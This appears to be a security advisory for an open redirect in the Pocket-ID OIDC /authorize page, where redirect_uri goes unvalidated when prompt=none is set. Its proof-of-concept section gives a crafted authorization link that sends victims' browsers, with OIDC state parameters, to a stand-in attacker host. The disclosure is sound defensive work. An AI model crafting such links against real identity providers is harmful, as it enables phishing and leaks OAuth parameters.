VYPR
Medium severity4.3GHSA Advisory· Published Aug 28, 2026

Pocket-ID has an Open Redirect on the OIDC /authorize page via unvalidated redirect_uri with prompt=none

CVE-2026-55834

Description

Summary

The OIDC authorization page in the pocket-id frontend redirects the browser to an attacker-controlled URL without consulting the backend redirect_uri allow-list when the request uses prompt=none. An attacker who knows a valid client_id can craft an /authorize link that sends a victim (or a victim's browser doing a silent re-auth) to any external https URL, enabling phishing and OAuth response smuggling. The backend allow-list validation that protects the normal authenticated flow is bypassed because this path is handled entirely client-side.

Details

For an OIDC authorization request with prompt=none, the SvelteKit frontend short-circuits the flow before the backend ever validates the redirect_uri against the client's registered callback list.

File: frontend/src/routes/authorize/+page.ts (line 14) parses the raw redirect_uri query parameter from the incoming URL.

File: frontend/src/routes/authorize/+page.svelte - in onMount(), when the request carries prompt=none and the user cannot be silently authorized (for example the visitor is not logged in, so login_required must be returned), the page builds the callback URL from the raw redirect_uri and performs:

window.location.href = ${callbackURL}?error=login_required...

The callbackURL is taken directly from the user-supplied redirect_uri. The only filtering applied is a scheme check that blocks javascript: and data: URLs; any http: or https: origin passes through. The backend allow-list validator GetCallbackURLFromList (which the authenticated code path uses to confirm the redirect_uri matches one of the client's registered callback URLs) is never invoked on this branch.

This means the per-client redirect_uri allow-list, the central control that makes redirect_uri safe in OAuth/OIDC, is not enforced for the prompt=none error-return path. A client_id is not a secret: client metadata is retrievable at /api/oidc/clients/:id/meta, and client_ids appear in any integration's authorization links.

Confirmation that the bypass is purely frontend: an unauthenticated POST to the backend /api/oidc/authorize endpoint correctly returns 401 ({"error":"You are not signed in"}), so the backend never authorizes the request. The redirect nonetheless happens in the browser because +page.svelte issues window.location.href before/without a successful backend authorization.

A second variant exists for an authenticated victim: when prompt=none is combined with a first-time (not yet consented) authorization of a client, the same client-side path can be reached.

Contrast: the standard interactive flow (no prompt=none) posts to the backend, which validates redirect_uri against the registered list before returning a callback. The defect is specific to the client-side prompt=none short-circuit.

PoC

Prerequisites: a running pocket-id instance, a registered OIDC client whose client_id is known to the attacker (obtainable from /api/oidc/clients/:id/meta or any existing integration), and a victim whose browser opens the link (the victim need not be logged in for the login_required branch).

  1. Attacker constructs an authorization URL pointing at the victim's pocket-id, supplying an external redirect_uri and prompt=none:

https://idp.victim.example/authorize?client_id=<known_client_id>&redirect_uri=https://attacker.example/collect&response_type=code&scope=openid&prompt=none

  1. Victim opens the link. The frontend authorize page loads, determines the silent auth cannot succeed (login_required), and executes:

window.location.href = "https://attacker.example/collect?error=login_required&state=..."

  1. The browser is redirected to https://attacker.example/collect. Expected result on a fixed build: the page would refuse the redirect because redirect_uri does not match the client's registered callback list and would render an error in place instead of navigating off-origin.

Validation level: code-level confirmation at commit fc42f62. This is a browser-side window.location.href redirect, so it is not reproducible with curl; the backend was confirmed to reject the unauthenticated request (401) while the frontend performs the navigation regardless. Evidence notes saved to screenshots/001_open_redirect_evidence.txt.

Impact

Unauthenticated attacker, victim interaction required (clicking or being silently redirected). The trusted pocket-id domain is used to bounce a victim to an arbitrary external site, which is effective for credential phishing (the user trusts the IdP origin in the initial link) and for leaking OIDC error/state parameters to an attacker endpoint. Integrity impact is limited to redirection; no confidentiality or availability loss of pocket-id itself. Note: an abandoned PR (#1450) addressed a related protocol-relative URL issue in a different email-redirect path but was not merged and does not cover this authorize-page path.

Affected products

1

Patches

Vulnerability mechanics

References

4

News mentions

0

No linked articles in our index yet.